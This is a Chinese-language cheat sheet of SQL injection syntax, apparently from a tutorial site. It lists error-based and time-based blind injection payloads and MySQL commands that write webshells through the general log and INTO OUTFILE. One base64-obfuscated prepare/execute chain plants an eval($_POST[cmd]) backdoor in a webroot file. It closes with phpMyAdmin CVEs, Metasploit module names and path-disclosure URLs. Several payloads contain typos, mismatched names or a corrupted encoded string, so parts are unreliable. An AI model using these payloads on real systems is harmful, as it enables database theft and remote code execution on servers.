首页 > 文章列表 > SQL注入语法有哪些

SQL注入语法有哪些

SQL
325 2023-05-20

SQL注入语法有哪些

SQL注入语法

报错注入

updatexml(1,concat(0x7e,(select database()),0x7e),1)--+



extractvalue(1,concat(0x7e,(select database()),0x7e),1)--+



select count(*) from information_schema.tabeles group by concat((select database(),floor(rand(0)*2)



select substr(version(),1,1)='X'



select substring(version(),1,1)='X'

列名重复报错

select * from (select name_const(version(),1))a;



select * from (select name_const((version()),1),name_const((select database()),1))a;



select * from (select * from users a join users b)c;

数据溢出报错

select (select(!x-~0) from (select(select user())x)a);



select ~0+!(select * from (select user())x);

几何函数报错

multipoint((select * from(select * from(select user())a)b));

case when 语句

select * from datadatabase() case id when 1 else 2 end

时间注入

if right((select database()),a,b)>'s' sleep(5)



if assic(substr((select database()),a,b))=98 sleep(5)



if assic(substr((select database()) from a to b))=98 sleep(5)



if ord(mid((select database()),a,b))=98 sleep(5)
通过日志写shell
利用条件

已知物理路径,目录可写,root权限。

查看配置

show variables like '%general';

开启general log模式

set global general_log=on;

设置日志写shell地址*

set global general_log_file="/var/www/html/log.php";

写入shell

select "<?php phpinfo();>";

通过into outfile写shell

利用条件

已知物理路径,目录可写

select '<?php phpinfo();>' into outfile ‘/var/www/html/1.php'

通过导出表写入shell

use mysql;



create table shell(shell1 text not null);



insert into shell(cmd1) values('<?php phpinfo();>');



select cmd1 from a into outfile '/var/www/html/1.php';

mysql from_base64函数利用

利用base64编码来加密,然后使用自定义变量接到,在使用prepare和EXECUTE来执行语句,完成日志写shell的操作。

set

set 用户定义一个变量,变量里面是sql可以执行的语句。

prepare

prepare name from value;

prepare 语句用于预备一个语句,并指定名称name,然后引用改语句。

execute

execute 语句用于执行预备的语句。

联合起来利用

set @sql1 = (select from_base64('c2V0IGdsb2JhbCBnZW5lcmFsX2xvZz1vbg=='));

/*set global general_log=on*/

PREPARE name from @sql;

EXECUTE name;

set @sql2= (select from_base64('c2V0IGdsb2JhbCBnZW5lcmFsX2xvZ19maWxlPSJDOlxcTVlPQVxcd2Vicm$9$vdFxcbG9naW4ucGhwIg=='));

/*set global general_log_file="C:\\MYOA\\webroot\\login.php"*/

PREPARE name from sql2;

EXECUTE name;

select "<?php eval($_POST[cmd]); ?>";

set @sql3 := (select from_base64('c2V0IGdsb2JhbCBnZW5lcmFsX2xvZyA9IG9mZg=='));

/*set global general_log = off*/

PREPARE name from @sql3;

EXECUTE name;

phpmyadmin 漏洞合集

phpmyadmin存在pregreplaceeval漏洞

影响版本:3.5.x < 3.5.8.1 and 4.0.0 < 4.0.0-rc3 CVE-2013-3238

phpmyadmin存在serversync.php后门漏洞

影响版本 phpmyadmin v3.5.2.2

msf利用模块 : exploit/multi/http/phpmyadmin3522_backdoor CVE-2012-5159

phpmyadmin 配置文件/config/config.inc.php存在命令执行漏洞

影响版本: 2.11.x < 2.11.9.5 and 3.x < 3.1.3.1

msf利用模块:exploit/unix/webapp/phpmyadmin_config CVE-2009-1151

登录处漏洞

利用方法:用户名处写入'localhost'@'@"

影响版本:2.113/2.114

php爆绝对路径

phpMyAdmin/libraries/selectlang.lib.php

phpMyAdmin/darkblueorange/layout.inc.php

phpMyAdmin/index.php?lang[]=1

phpmyadmin/themes/darkblue_orange/layout.inc.php